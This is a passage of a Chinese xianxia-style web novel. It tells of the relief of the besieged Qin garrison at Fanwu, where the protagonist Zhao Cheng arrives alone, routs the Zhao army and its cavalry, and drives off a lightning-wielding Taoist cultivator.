腥风扑面,饥饿与疼痛让秦军的眸光逐渐变得麻木,相比之下,敌军随时会攻城的压力对他们来说更是折磨。
他们不敢睡,也睡不着。
处境实在是太差了,许多人甚至会想,希望赵军下一次攻城的时候杀掉的是自己。
这样就不需要再承受这些折磨了。
可看着许多年轻士卒眼神之中残存的希望之光,许多老卒还是撑起身体,用衣服慢慢擦拭着剑刃上的血迹。
尽管这些剑大多都已经卷了刃,但还
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有许多地方依旧锋锐和坚韧。
就如同他们的意志一样。
疲惫困苦疼痛折磨之中,他们还是想最后杀一个敌人再死,为身边的同袍争取一些求生的机会。
“将军,过了今夜,就是第三天了,援军真的还会来吗?”
“将军,兄弟们真的有些挺不住了,赵军这是在磨杀我们,想用最少的损耗全歼我们啊!”
“恐怕对方再冲杀一次,这城就要破了!”
“怕就怕那李牧是在用我们围点打援,要是援军来了被他们吃掉了,可就坏了!”
“这么久的时间,下面的战阵没有丝毫变化,恐怕援军真的不会来了,没有援军了。”
手下的将领们越来越是消极,士气又在飞快地下滑。
在如此绝望的境地,即使是最有锐气的士兵,也会开始怀疑一切。
更何况,援军本就是他李信编出来的。
哪会有什么援军,这番吾已经是赵国北部的最后一道防线,他们深入此地,算是剑走偏锋。
若是能成,则能两面夹击,打得李牧节节败退,立下不世之功!
但那李牧早有准备,此地便是绝境之中的绝境,无人能够生还。
他现在能做的,只是让这一部不要死得毫无意义,尽可能地杀伤敌人,做出最后的贡献。
至于援军,也只是提升士气的最后办法了。
他比谁都清楚,援军不会来的。
可还是要绞尽脑汁地让手下的兄弟们相信,抓住这最后的希望。
此时,他的脸隐没在黑暗之中,没有人能够看清他的表情。
他暗暗咬了咬牙,一些还有援军的话,却怎么也说不出口。
那些话说了太多次,如今再说,他自己都不信了。
可不说,难道就任由士气无限低落下去,最后让李牧没有折损地拿下此城?
他不甘心!
就在这时,一个险峰般的巍峨身影突然出现在他的脑海之中。
他眸光瞬间坚定明亮,昂起头来,声音清朗有力,底气十足。
“事到如今,本将只能实话实说了!”
第151章 无援忽有一人至,孤影势压万敌惊!
众多将士纷纷看向他,心中已经有了不祥的预感。
“是……根本没有援军对吗?我就知道将军你只是……”
李信却断然道,“当然有!”
“只是这原本是机密,外人不知道此中详情。”
“如今,情况危急,为军心稳固着想,只能告知你们了。”
众将士面面相觑,疑惑起来,“机密?”
“难道将军和王翦将军有其他谋划?”
李信摇了摇头,“不是王翦将军,亦不是蒙武将军。”
众将士更是疑惑,“都不是,那还有什么……”
疑惑了一半,众人突然瞪大双眼,一个不可思议的猜想涌上脑海。
“难道是……”
“是赵将军!?”
“我大秦之利刃,诸国之血屠?”
“他不是被大王贬到颍川郡去了吗?听说他每日饮酒作乐,已经没有了斗志!”
“是啊,我们出征的时候,血衣军还沉寂在上林苑练兵。”
“大王忌惮赵将军,怎会让他来救我们。”
李信胸有成竹,心中已经编好了一切,“你们只看到了表象,以为大王昏庸,以为赵将军不经打击。”
“殊不知,这是赵将军与陛下的计谋!”
“什么?!”众将士闻言,都是打起了精神,“此话何解,将军你有内幕?”
李信已经编到这了,说的那是越来越顺,“哈哈哈,你们猜为何大王要将赵将军贬到颍川郡,而不是其他地方?”
“难道是因为颍川郡距离邯郸更近?”
“正是如此!赵将军是一到颍川郡就自暴自弃吗?非也!他先是扫清所谓怨魂,又横穿颍川郡,屠灭反抗军,如此,颍川安定,方可奇袭邯郸!”
“血衣军在上林苑练兵?那不过是表象!实际上,血衣军早就随赵将军去了颍川郡,暗中蓄势待发,筹谋邯郸!”
众将士越听,越是呼吸急促,整个人都亢奋起来。
“如此说来,如此说来……”
“邯郸危矣!”
“以赵将军之锋锐无当,邯郸指日可破!”
李信点了点头,一脸孺子可教的模样,“正是如此,估算时间,赵将军恐怕已经屠灭邯郸,俘获赵王了!”
“此地番吾,乃是邯郸北部最后防线,距离蒙武将军和王翦将军一部甚远,但是距离邯郸,何其近也?”
“只待赵将军破掉邯郸,必是北上与吾等汇合!”
“这也是我愿意冒险,奇袭番吾的原因。”
“只要兄弟们再坚持一下,等到赵将军率领血衣军而来,咱们必是势如破竹,将城下敌军荡尽,而后杀上北方,与王将军,蒙将军两面夹击,痛击敌军!”
这一番话,说的那是慷慨激昂,荡气回肠。
李信自己都说爽了,手下的将士们更不用说了,听得都快爽**。
憋屈了这么长的时间,这是第一次如此痛快,如此过瘾。
甚至许多秦军红了眼眶,“可惜那些已经战死的同袍,没有机会等到赵将军来汇合,没有机会再痛击赵军了!”
“无妨,还有我们!”
“以赵将军之神武,城下这些鼠辈又算得了什么!?”
“我等一定要挺住,挺到赵将军前来,让血衣军也见一见我们的实力!”
“我们也有同袍在血衣军,或许这一次又能并肩作战了!”
“今天就算是死,老子也要守住这一丈城墙!”
“老子也会守住!”
眼见手下的兄弟们都再次斗志昂扬,李信不由感叹,如今只有那位的声名威望,才能在如此绝境,激起秦军的斗志啊。
可惜啊,自古功高盖主必受君王忌惮。
赵将军,你在颍川还好吗?
你我,恐怕不能再相见了。
正此时,番吾城下,喊杀声大作。
赵军再次趁夜攻城,但这一次,他们却遭到了空前抵抗,秦军的士气不知为何突然急剧增加,死战不退。
双方咬着牙血拼,都是损失惨重。
但那秦军如狼似虎的势头,却让赵军头皮发麻,短短试探之后,又再次退去。
赵军将领疑惑不解,“这秦军是发了疯还是怎的,这么长时间的困乏,兵力更是悬殊,怎会还能爆发如此力量。”
“素闻秦将李信是少壮派名将,今日一见真是名不虚传。”
“能在如此境地,让部下保持这般斗志,真是不可思议。”
“暂且收兵,后半夜再攻
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。”
“吾就不信,这秦军还能不吃不喝不睡,一直如此勇猛?”
到了后半夜,赵军再次攻伐,依旧如此。
但秦军显然有些后力不足了。
他敏锐察觉到此事,一个时辰之后,再次发起突袭。
而城头上,则更是惨烈。
人力是有极限的,赵军攻城人多,简直就是车轮战。
一批累了,换一批再上。
但秦军守城,来来**都是这些人,几战下来,胳膊都快抬不起来了,战力自然大减。
一时间节节败退,损失惨重。
“挺住!”
“再坚持一下,赵将军很快便至!”
“别让血衣军的同袍小瞧了咱们啊!”
“小小赵军,给爷死!”
一个又一个秦军拼死击杀敌人,而后奋起余力,抱着敌军飞跃城下同归于尽。
而李信看着此情此景,心中只有无尽哀叹与无奈。
“吾也只能做到这种程度了,人力亦有时尽啊……”
长叹之后,他突然拔剑,勇猛迎上攻城赵军。
然而这一冲之下,却没动地方。
他疑惑蹬了蹬腿,脚下很空,惊愕发现,自己竟然被人抓住了。
“何人敢……”
他挥剑反击,却如陷泥沼。
身前那道身影高大如巍峨山岳,倒提擎天大戟,玄色大氅迎风猎猎,洒落阴影无尽。
不是赵诚又是谁!?
李信傻眼了。
不是,我之前说的都是吹牛的,他真来了??
这地方还能许愿?
做梦呢吧?
赵诚指了指身前插在地上的暗箭,“李将军迎箭而上,是要自尽吗?”
李信听到赵诚的声音,绝处逢生的惊喜让他咧嘴大笑,眼眶却不自觉发红,“你怎么来了?”
赵诚也奇道,“咦?他们都知道我要来,不是你说的吗?”
李信哭笑不得,“我编的……”
赵诚点了点头,“编对了。”
“血衣军呢?”
“还在路上!”
“啊?”
李信愣怔。
坏消息是,援军虽然来了,但就一个人!
但好消息是,他是威慑诸国的血屠阎罗——
赵诚!
第152章 血屠跃城破敌阵,胡骑啸风遇阎罗
“赵将军到了!!”
正此时,城头上的秦军已经有人发现了那标志性的魁躯和大戟,当下爆发极大欢呼声和战斗力。
“兄弟们,杀啊!!”
“**!**!!”
赵军都懵了,怎么上一刻还节节败退,下一刻要特么攻下城头了?
你们特么不是守城的吗???
还真往下打啊!
疯了是吧!
赵军惊疑不定,感觉城头上面的秦军好似全都换了一个人似的,本来那无力的胳膊,竟然再次勇猛挥舞起来。
甚至还有人朝着城下追杀而来。
“真是疯了,我看你们是找死!”
“把他们给我都杀了!”
“他们当缩头乌龟我们拿他们没办法,现在敢顺着云梯下来,那就别怪我们刀剑无情了!”
赵军纷纷震怒,一拥而上,要将那些嗷嗷叫着追杀出来的秦军杀光。
然而下一刻,一道雄魁身影突然自城头跃起,如泰山压顶一般,从城头飞跃而下。
当此之时,云开月明,这道擎天般挺拔的魁影,遮蔽了七分天光,洒落无边阴影。
那擎天大戟更好似挑着山岳,裹挟无边巨力砸了下来。
风雷之声呼啸之间,只听轰隆一声巨响传荡开来!
地面剧烈震颤,城下密集的赵军顿时人仰马翻,无数残肢断躯飞了出去,迸发血花无数,铠甲兵器碎片,好似飞刀利刃向着四面八方飚射。
仅仅只是余威,竟然再次将周围一圈赵军射杀无数。
赵军惊恐之间,纷纷后退。
再看中心处,地面竟然已经出现了一个巨坑!
一戟之威,竟能裂地!
当时众赵军便是头皮发麻,这特么是人?
莫不是天下降神下来帮助秦军了?
就这一愣神的功夫,却见那身影大戟一挥,好似卷起银河洒落平原,扫起罡风无尽,再去无边赵军的性命。
血花漫天之际,城下空出一大片区域。
血流成河,尸骨如山!
那茫茫如海的赵**队之中,出现了一片真空地带,而在这片真空地带之外,大量的赵军正在惊恐后退。
“这……这是何人!?”
“秦军之中怎么会有如此存在?”
“这等力量,根本咱们能对付的,快后退!”
“别挤,别挤,再挤大家都要死在这了!”
“该死!秦军怎么也杀出来了!”
赵军又惊又怒。
那本来被他们压着打抬不起头的秦军,竟然真的纷纷借助云梯爬下城头,跟随在那大将身后,冲杀出来。
更有甚者,将城门都打开了,一群守军冲出城来,冲杀围城攻伐之军!
这一幕是如此的魔幻。
就算是身经百战的老兵,也从未见过此情此景。
“简直岂有此理!”
“给我全歼他们!”
赵军守将气坏了,这特么也太不把人当人了。
守城的出来打攻城的,前几天你们这么干,还算你们勇猛。
都被打成这样了,你们还这么干,那不是骂人是什么?
虽然凭空出现了一个大将,但赵国将领离得远,天又黑,看不清楚具体情况,只知道对方打开城门冲出来了。
如此良机,自然是下令猛攻!
现在的他,还没有意识到事情的严重性。
但很快,他就意识到了。
那战场核心处,简直就像是碎石崩飞一般,己方士卒东一块西一块,到处乱飞。
那巨大身影所在的位置,就像是一个绞肉机。
所有士卒投入其中,只有死路一条。
而那家伙,则是以极快的速度扫清一切敌人,一路挥戟横扫千军,自己的部下成片成片地倒下。
如此杀敌,竟比割麦子还要快上无数倍,真让他心惊肉跳。
“这是何人!?”
“如此威势,难道是……”
看着那魁梧雄武的身影,再看到那传说中的擎天大戟,一个称号渐渐涌上他的脑海,令他心惊肉跳。
“血屠阎罗!?”
终于意识到事情严重性的守将当时整个人都不好了。
人的名,树的影。
联想到血屠阎罗的瞬间,赵军将领已经萌生退意。
自己围城部下再多,也特么经不起这么屠啊!
那也不像人力,倒像天威。
大戟一扫,没百八十个赵军,根本填不满那空子。
看上一眼,他心都在滴血。
而赵军士卒更是
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吓得不敢上前。
如此军心动摇,已经完全打不了了。
要命的是,这时候身后竟然传来的如雷般的马蹄声。
“坏了,还有援军!”
“难道是……血屠的血衣军?”
他听说秦王让血屠组建血衣军,血衣军如今一朝出鞘,他根本不敢撄锋,就要鸣金收兵。
却在这时,后方传来了胡刀风骑的进攻胡笳声!
那是风骑特有的进攻之音。
赵军将领心中大定,对方血屠再强,也不过只有一人!
风骑却各个都是精锐,其中更有高手无数,如何对付不了他一个人?
“全军听令,给我猛攻!”
“配合胡刀风骑,斩下血屠人头!”
赵军将领有了底气,立刻再次下令猛攻!
这胡刀风骑就像是赵国的定海神针,在战场上如风来去,更是如同利刃一般锐不可当,在赵**队士卒们的心目中,威望极高。
此时一听到胡刀风骑来了,所有赵国士卒顿时全都有了底气。
再次朝着赵诚杀去。
【你击杀一名敌人,夺取寿命:十七年!】
【你击杀一名敌人,夺取寿命:二十三年!】
【你击杀一名敌人,夺取寿命:十年!】
……
赵诚大戟一挥,系统之中出现的夺寿提示,便会直接刷屏。
大量的寿命不断入账,自是越杀越勇。
在这战场正中,他的大戟好似掀起了血色飓风,四处席卷,掠夺生命。
他的体力就好似无穷无尽一般,根本没有人能够踏入他身边这一片真空地带,这就像是一道死亡领域,触之即亡。
刚刚猛攻没有多久的赵军见状,再也不敢上前。
猛攻?
猛攻也得有效果才行啊,这靠近都靠近不了,进去就是死路一条,谁还会愿意上前。
于是大军踌躇不前,只有那胡刀风骑队伍越众而上。
为首一人手持一把无比厚重的胡刀,脸色凝重,破风而至。
刚到赵诚十丈之外,喉咙之中,便发出狼啸一般的声音。
而后整个胡刀风骑队全部齐齐发出此音。
此音好似凝聚到了一起,形成了冲天利刃,直逼赵诚。
第153章 声裂胡骑惊道骨,雷劈无恙射飞仙
赵诚运起周天星斗纳真诀,无尽真元涌入眉心窍穴,大成阴阳术全力施展。
深吸一气,爆吼而出。
“死!”
滚滚声浪裹挟阴阳术的摄魂之能,轰然而去,瞬间碾压了胡刀风骑的狼啸之音。
有若实质一般,朝着整个胡刀风骑队撞击过去。
胡刀风骑为首一人顿时七窍流血,整个人向着后方栽倒而去。
而他身后的胡刀风骑更是以极快的速度七窍流血而亡。
死亡在一瞬息之间掠过小半支胡刀风骑队伍。
眼见这一声爆吼将全灭胡刀风骑之时,天空之上,突然炸响雷音。
噼啪!
这雷音浩荡,竟然将赵诚的摄魂之音荡散。
赵诚双眸一亮,抬头看去,却见那半空之上,有一长袍身影飘然而来。
竟是凌空虚渡。
“听闻有小辈邪修祸乱天下,今日一见,果真如此。”
“如此厚重的煞气,恐怕没少制造杀孽。”
“吾本无意沾染世俗之事,但今时不同往日,小辈如此放肆,吾辈自当拨乱反正。”
“咄!”
这一声道音好似某种号令,天空之上顿时有乌云席卷而来,狰狞蜷伏,好似巨龙临渊。
其中更有雷霆滚滚,轰然炸响却隐而不发。
见此一幕,不管是赵军还是秦军,都是震怖失神。
眼见是对付赵诚来的,所有赵军都是长长松了一口气,有些人甚至直接跪在地上,称颂神仙之名!
“是……神仙?”
“能飞在天上,还能号令雷霆,这真是仙人啊!”
“太好了,神仙来救我们了!”
“原来那血屠,真的是邪修,传闻说得不错,他会采生折割之术!”
“怪不得如此强大,原来是会妖术的方士!”
“如今神仙到了,肯定会为我们斩妖除魔的!”
这老道卖相,是在是太像传说之中的神仙了,就算是秦国的士卒,此时也是惊疑不定。
“难道赵将军真是会妖术的邪修?”
“管他什么邪修妖修,赵将军是来救我们的,妖修也好血屠也罢,都是我们的将军!”
“可那老神仙要出手对付赵将军啊,这可如何是好?”
“这老不死的会引雷术,形势不容乐观啊……”
这些普通士卒哪里见过如此威势,自然是提心吊胆,为赵诚而担忧。
“哪来的老不死?”
赵诚昂然挺立,身形巍峨,大戟斜撩,真元卷起罡风,直逼老道,“既来之,则安之吧!”
实际上,他刚刚以占星术窥测了一下此人,得到的结果很是模糊。
这也是赵诚第一次遇到这样修为的方士,心中难得打起了几分谨慎,这一戟亦是试探。
“小辈狂妄。”
面对那真元罡风,老道不以为意,手掐剑指,几道气剑射出,直奔这一戟罡风。
然而下一刻,他这气剑碰上罡风,竟然瞬间被罡风湮灭,消散无形。
老道当即脸色一变。
此子真元怎会如此浑厚精纯!?
眼看那罡风如刀山砸来,老道再不敢大意,连连掐诀,一身修为尽数展现。
“咄!”
轰!
半空之上,好似有两座大山撞击到了一起,炸出惊天巨响。
更有无尽狂风席卷天地,下方的两军都是站立不稳,东倒西歪。
一时之间,那是飞沙走石,让人震骇莫名。
这一击之下,赵诚面色明显放松许多,而逍遥子却凝重许多。
“此子到底修炼了什么邪术,如此年纪,竟有这般恐怖修为!”
他百思不得其解,“他看着也不像是成丹之人,但这真元比我这数百年修为还要浑厚精纯一些,真是妖孽。”
“此战需速战速决!”
他老眼盯紧赵诚,手上掐诀连连,天上顿时闷雷滚滚。
赵诚昂首看天,巍峨挺立,巍然不惧。
实际上,有点尴尬。
虽然周天星斗纳真诀很强,他的真元也非常精纯浑厚,但他现在也不知道应该怎么飞起来。
短暂御风凌空,亦或者是踏水而行,对他来说很简单。
但直接踏空节节攀升,就是他的知识盲区了。
不然他刚才就直接上天,把那老道斩下来了,何必以真元罡风隔空相对?
赵诚一边催动真元,共鸣周天大
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窍,准备抵御雷击的同时,默默测算距离,准备强行跳上高空,踏风而战。
以他的力量来说,这不算难,唯一的问题是,如果没有一击必杀,事情就会变得非常被动。
此时,乌云之中的闷雷正在**,闪耀蓝紫之光。
咔嚓!
巨响之间,一道雷霆划破长空,径直朝着赵诚劈来。
赵诚挥舞大戟,将周天大窍催动到极致,丹田之中的无尽真元挥洒而出,裹挟周天星斗纳真诀的种种特性,与雷霆对抗。
当此之时,所有士卒都被这股天威所慑。
就算是秦军,也感觉完了。
赵诚自己,亦是心里没底。
轰!
平地惊雷,一团炽烈闪耀的雷光刺目至极,令所有人都闭上了双眼,心惊肉跳。
地面一片焦黑,腾起滚滚青烟。
老道脸色微微发白,却暗暗点了点头,闭关多年,这引雷术倒也没有生疏,出手威能不减。
如此天威,小妖孽如何能当?
如此,也算终了一份尘缘。
“就这?”
疑惑和失望的声音回荡在黑夜之中,老道脸色一僵,双眼陡然瞪大。
却见那青烟散尽,巍峨挺立的魁躯站在焦黑的土地之上,与之前别无二致。
甚至连那将军大铠都没有变化。
他这一雷,竟然被那真元完全化解!
“怎会如此!?”
老道是真的惊了,这可是天威,就算是他自己,也不敢去触碰,这还没成丹的小辈妖修,怎会硬扛一雷而毫发无损?
正震惊之间,却见下方的赵诚突然开弓搭箭。
他要拿弓射我?
老道更觉邪门,这是什么思路?
邪修就是邪修,竟用凡人之弓,射天上方士,何其可笑,何其可……
嘭!
七道穿云箭突破音障的爆破声一闪而逝,而后裹挟赵诚锋锐真元激射而至。
只有一瞬间,便冲到老道身前,直指他周身要害。
老道可不是赵诚那等炼体出身的金刚妖孽。
一身修为都在食气之上,被这穿云箭临身,当下头皮发麻,汗**直竖。
竟有身陨之危!
第154章 赵诚裂风追仙踪,雷碎道袍遁远尘
当下老道也顾不得真元损耗,大袖一挥,体内阴阳之气爆发出来,形成数丈气墙,抵挡穿云箭。
可那赵诚的真元好似无穷无尽一般,这七支箭矢之上,竟是有着无尽真元加持,锋锐无匹。
透入气墙,速度稍缓,但去势仍是不减。
老道更是心惊肉跳,身躯连连后退,更是不停挥袖,阻挡这七道箭矢。
然而下方,赵诚已然沉腰屈膝,真元如龙激荡冲入双腿之下,周天星斗纳真诀加持双腿经脉窍穴,而后轰然爆发。
他整个人如同炮弹一般冲天而去,裂风而上,直逼老道。
这身影,竟不必那些穿云箭慢上多少。
两军阵之中,士卒们都看傻了眼。
不是,神仙能飞他们还算能够理解。
这特么,血屠直接从地上跳到天上去了,这是什么力量?
果真妖孽!
而且,感觉这老神仙有点打不过血屠是怎么回事啊???
怎么看着如此狼狈?
李信更是惊疑不定,人能够跳起这么高吗?
“赵将军真乃我大秦战神!”
另一边,老道连连挥袖,终于逼停穿云箭,刚刚松了口气,一扭头差点心脏骤停!
那魁躯身影,竟然不知何时已经激射至身后。
这妖孽,跳上来的!?
老道一生苦修,战斗经验并不算多,更没有经历过如此邪门的对战思路。
一时之间措手不及,只来得及打出三道雷符,仓促迎上那劈天一戟。
轰!
三团雷光轰然炸开,然而大戟所向无前,竟是劈开雷光,直指老道。
赵诚更是浑身沐浴雷光,有若魔神一般,冲雷而出。
老道真是心惊肉跳,这小子到底是什么妖怪,他的雷符竟然连破防都做不到。
关键时刻,他指尖一挑,背后背负的木剑陡然出鞘,瞬息落入手中,横剑抵挡赵诚大戟。
说来也怪,这木剑看着材质普通,但在那神兵方天画戟的锋刃之下,竟是坚韧至极,只是弯曲到了极致,而后将老道弹了出去。
老道双臂剧烈颤抖,这大戟的力量虽然没有落到他的身上,但木剑上传来的天倾之力,仍是让他浑身震痛,五脏六腑都不好受了。
赵诚一击没有奏效,脚下以真元踏风向前,继续追击!
周天大窍共鸣如星,经脉有若铁索联横,无穷真元遮天蔽日,让其好似山岳巨人一般。
轰!
大戟再砸!
出手如雷如电,依旧劈碎雷光,划过无数残影。
老道一身修为都在食气之上,哪里能够应对如此攻势。
想要以气御剑,但那木剑一下子就能被赵诚打飞,只得用手握住,而后再催动真元死死加持。
大戟提撩崩扫,扎剁搂砸!
每一下都携带着天倾之力,以赵诚为圆心,丈二大戟为半径,在老道身上砸出一个银河般的圆弧残影。
老道被砸得浑身乱颤,那是叫苦不迭。
此子一身怪力,宛若远古凶煞,随手一击都让他身子骨要散了架,这一息之间砸下无数,让他哪里吃得消?
几息之间,他浑身骨头都快要裂开就不说了。
没过多久,这陪伴他上百年的桃木剑,竟然也出现了裂纹。
老道脸色扭曲,心都在滴血。
“竖子!安敢辱我!?”
老道一怒之下,怒了一下。
而后借助赵诚大戟砸下的力道,爆发真元,御风飞遁而去,跑得飞快!
赵诚见状,也是踏风而追。
“别跑!”
但这踏风,比之御风可就差得远了。
没一会,就被老道拉开了距离。
眼见追不上,赵诚伸手一探,竟然凭空拿出那把神弓来,开弓搭箭,对准了老道。
“想来就来,想走就走,哪有那么容易?”
老道回头一看,头皮都要炸开了。
此子究竟是什么修为,竟然能够探虚取物?
他御风在天空之上左闪右突,想要躲开赵诚的锁定。
可赵诚的箭术早就已经通神,这老道御风速度再快,又怎么会有他的箭快?
射雕神弓直接被拉满,真元加持穿云箭。
而后嘭的一声,十一连珠箭同时突破音障,直抵老道!
老道脚踏天罡,手持木剑,神情肃穆,口中念念有词。
下一刻,天上乌云好似受到了他的引召,也是轰隆一声,落下一道雷光来,加持在木剑之上。
老道踏着天罡,以雷剑剑尖对上这十一连珠箭,准备硬撼一击。
连珠箭接连穿梭而来,与雷剑剑尖触碰到了一起。
轰鸣声音传遍四方。
雷剑不断被消磨缩短,炸出无数细小的雷珠,好似崩散出了漫天星辰,在黑夜的天空之上熠熠生辉。
赵诚的连珠箭携带了太多的真元,每一箭都好似裹挟着山岳而来。
太强了!
老道从未见过如此修为的小辈,甚至连想都没有想过。
刚刚开辟了丹田的真元,竟然能够压着他成丹之后的真元打,这小子到底修炼的是什么功法?
要知道,老道他自己修炼的已经是上等传承,足足开辟了七十二大窍,以大窍联结周天八脉,成丹之后才有如此强度,能够施展引雷之术。
就算是在丹境名士之中,那也是足以自傲的。
结果面对一个刚开了丹田的,竟然如此无力,他都感觉这几百年的时间修炼到狗身上去了。
雷剑寸寸崩碎成漫天星光,老道面色狰狞,青筋毕露,全部修为都汹涌而出,加持在这雷剑之上。
就在这僵持之际,赵诚已经踏风追了上来,大戟高举,朝着老道砸来。
而老道现在还在拼命抵抗那连珠箭,被他这一砸,不死也得去掉半条命。
在这去掉半条命,和死了也没有什么区别了。
他眼睛之中,闪烁着惊慌和不甘。
苦修数百年,吾还有长生大道要求,怎可折损在此?
拼了!
他突然连连掐诀,一边勉力维持着雷剑,一边再次引召雷光。
但这一次,引召下来的雷光已经非常浩荡庞大,直抵赵诚的同时,连他自己都笼罩其中了。
轰隆!
此雷惊世,加持雷剑之威,向着连珠箭和赵诚的方向爆破开来。
无穷雷弧炸散。
一道焦黑身影甩着青烟飞了出去。
细看之下,却是那老道狼狈飞出,连身上的道袍都七零八落,可谓是衣衫褴褛。
头发眉毛也是全部烧焦,双臂更是一片焦黑,僵硬在身前,像是两条烧火棍。
但即使如此,他依然在晕厥之前,拼命遁逃,向着远处飞快地御风而去。
眨眼之间,已经不见了身影。
第155章 另有杳尘蔽天机,大魔出世唤北冥
再说这边雷威爆发核心处。
无穷天威笼罩赵诚,雷光滚滚,遮天蔽日。
赵诚周身大窍共鸣,如山岳镇守大地,经脉真元滚滚,好似铁索联横,体表更是有着金刚神光,将雷威抵御在外。
即使有大股雷弧突破了周天星斗纳真诀的防护线,也被他那金刚一般的身躯尽数抵御,在白皙的皮肤上留下些许灰黑,但也仅此而已。
唯一美中不足的是,在这巨大天威之下,赵诚的御风之能再也稳不住自己的身形,同样被轰飞了出来,向着下方落去。
这一耽搁,已经失去了对老道的锁定。
赵诚稳稳落地,仰望苍穹,以诸天星窍推演占星。
这老道损耗严重,重伤而遁,实力大减之下,应该也无法屏蔽天机。
正是寻到他下落的时候。
无穷星理流转心间,丝丝缕缕的线络被赵诚抽丝剥茧,很快找到那一丝因果之线。
寻线而去,一路推演追索,却突然有一股朦胧不清的力量介入,将这一丝因果之线强行扯断!
赵诚豁然睁眼,目露惊怒,“还有人帮他遮蔽天机!?”
他想要追索这只断线之手的来源,却也杳然无踪。
环视四周,只有赵国和秦国的军队对峙而立,都以敬若神明的目光看着他。
唯一的不同是,赵军的目光是畏,秦军的目光是敬。
至此,局势依然翻转。
赵军将领见势极快,第一时间下令,收兵急退。
但可惜,为时已晚。
后方已经传来马蹄声滚滚,如同暗红洪流的血衣军依然如狼奔跃而来,切断了赵军的所有后路。
赵诚没有杀掉老道,亦是杀意难平,提戟就冲入了胡刀风骑的队伍之中,大戟横扫之下,无人生还。
血落如雨,尸首成山。
血衣军从后方切入,更是如同最为锋利的宝剑切入豆腐一般,那赵国的边军精锐,在这些炼体有成的血衣军面前,脆弱得好像孩童,根本没有还手之力。
在他们眼中,血衣军就像是一只怪物组成的军队。
各个力大无穷,矫健如龙。
不论剑法骑术,都是精通到了常人无法企及的地步。
“这就是……练兵三个月的血衣军吗?”
才三个月啊!
李信从未见过如此打仗的,也没有打过这么轻松的仗。
他带着那些守城的残兵,只需要跟在赵诚后面,便是横推而过。
赵军五万精锐,就像是割麦子一样,一批一批的倒下。
军心在一瞬间溃散,而后便是四散奔逃。
而血衣军已经熟练的成网状包围。
李信见状,也是指挥着残兵布阵拦截。
秦军守城士卒早就憋了一口气,无数同袍在守城之时殒命,他们也深受这些赵军的折磨。
如今终于逮到了机会,那是大杀四方。
第一次打到如此痛快的仗,他们也终于明白,为什么赵诚的军中威望如此之高了,为什么那些跟随过赵诚打仗的人会对他敬若神明,又为什么有人听说赵诚要组建血衣军之后,拼了命地往血衣军里钻。
这特么哪里是打仗啊,简直就是天上掉军功!
有这位阎罗在前面杀,敌军就算长了八个胆子,那也得全都吓破了!
吓破了胆子的军队,和没了牙的老虎没有任何区别,唯杀而已!
其实就算不算上城中残兵,以及赵诚,光是血衣军,也可以轻松战胜这五万赵军。
只不过会让对方跑掉许多。
而有了李信的布阵拦截,赵军从各个方向突围都被阻截。
前有赵诚,后有血衣军,突围还有李信残部。
赵军终于彻底崩溃,大量士兵扔掉了兵器,跪在地上投降。
“愿为大将军效力!”
此时赵军还剩下了不到两万人,对于血衣军来说,倒也算不上什么威胁。
赵诚看了看李信,“敌军可信?”
李信看了看那些看赵诚如见神明一般的赵军,苦笑道,“有赵将军在此,恐怕无人胆敢诈降。”
“此战之后,赵将军有何打算?”
赵诚看了看北方,“尽取赵国之地,方得灭国之功!”
李信眼睛一亮,“信愿追随赵兄一战,只是当下我部兵力不多,若是赵兄信任,不如将这些赵国降兵交给我,我自由办法让他们为秦而战。”
“不怕其临阵倒戈。”
赵诚想了想,对他来说,这些降兵极为麻烦,不但人吃马嚼,而且还随时有可能倒戈。
虽然倒戈对他来说没有什么威胁,但谁也不喜欢被背刺,这种可能性,他是要彻底杜绝的。
而杀了,不但没有了这些麻烦,而且还得到了寿命。
可若是有人能够处理这些麻烦,将降兵化作有用的力量,赵诚也不是非要屠尽。
毕竟这一战之后,赵军亦是秦之子民。
于是他点了点头,“如此也好,就交给李兄。”
李信松了一口气,此时才有一股至极的疲惫感涌上来,浑身疼痛难忍,双腿更是发软。
但他还是撑住几乎要瘫倒的身子,甲胄上的血污顺着甲片缝隙往下滴,却依旧把脊背挺得如标枪一般。
他抬手抹去额角的冷汗,右手按在腰间佩剑的剑柄上,左手握拳抵在胸前,依着秦军最郑重的军礼躬身到底。
声音因脱力而有些发颤,却字字铿锵:“赵兄率部疾行百里,救我部于水火之中。
此恩,信与麾下儿郎刻入骨血!”
他顿了顿,直起身时眼中燃着悍勇之气,“军中无虚言,他日若有差遣,信提三尺剑,率本部锐士,赴汤蹈火,万死不辞!”
说罢再拜,甲叶相撞发出沉闷的脆响,却盖不住他话语里的决绝。
秦军重军功更重义气,这般许诺不带半分文饰,字字都落在“袍泽相护、以命相报”的实处。
没有虚浮的客套,只将感激化作最直接的军中誓言,此后你若有难,我必以命相偿。
虽然李信也知道,以赵诚的勇武,或许此生也不会有用得到他的地方,但这种决心,他不吐不快。
“说这些作甚?”赵诚拍了拍李信的肩膀,度入一股元气进去,“李兄死守番吾多日,如今不管是你还是麾下儿郎,都已经到极限了,快入城歇息一阵。”
“前线战事还在僵持,不需要太过着急。”
李信只感觉赵诚手掌之中传来一股力量,原本要虚脱的身体顿时有若久旱逢甘露的枯林一般,再次涌起一股力量来。
舒服得差点倒头就睡。
他心头暗惊,这种力量果真玄奇。
听说血衣军有炼体之功,之后或可讨教一二。
至于现在,他是真的有点撑不住了。
简单统计了战功之后,他昏睡在城楼案台之上……
另一边,太行山深处,浑身焦黑,衣衫褴褛的老道踉跄闯入洞天之中,跌落在溪水里,呼吸微弱。
这雷虽然劈的是赵诚,但他以毕生修为爆发出来的引雷术威力实在太大,仅仅是余威就将他劈得外焦里嫩。
双臂更是如同烧火棍一般。
之后又拼命遁逃百里,此时已经是油尽灯枯。
“师父!!”
一声惊叫传来,逍遥子的弟子迅速赶来,将老道扶起,看到老道身上的伤势,已经是惊愕的说不出话来。
“怎会如此……”
“师兄快来!!师父在这!”
几名弟子手忙脚乱地将逍遥子扶回洞府,而后将府中珍藏的丹药一口气喂了许多,这才让老道缓了过来。
他睁开眼,第一时间说道,“亦清,乐成,速速联络你北冥子师叔,让其下山救世!”
“秦国有大魔出世,祸乱天下,若置之不理,假以时日,必将生灵涂炭!”
说完这番话,他便眼睛一闭,再次昏厥过去。
第156章 狼牙谷锁赵残阳,百年祚断血锋凉
“亦清,乐成,速速联络你北冥子师叔,让其下山救世!”
“秦国有大魔出世,祸乱天下,若置之不理,假以时日,必将生灵涂炭!”
逍遥子说完这番话,便再次眼睛一闭,昏厥过去。
“师父!师父!”
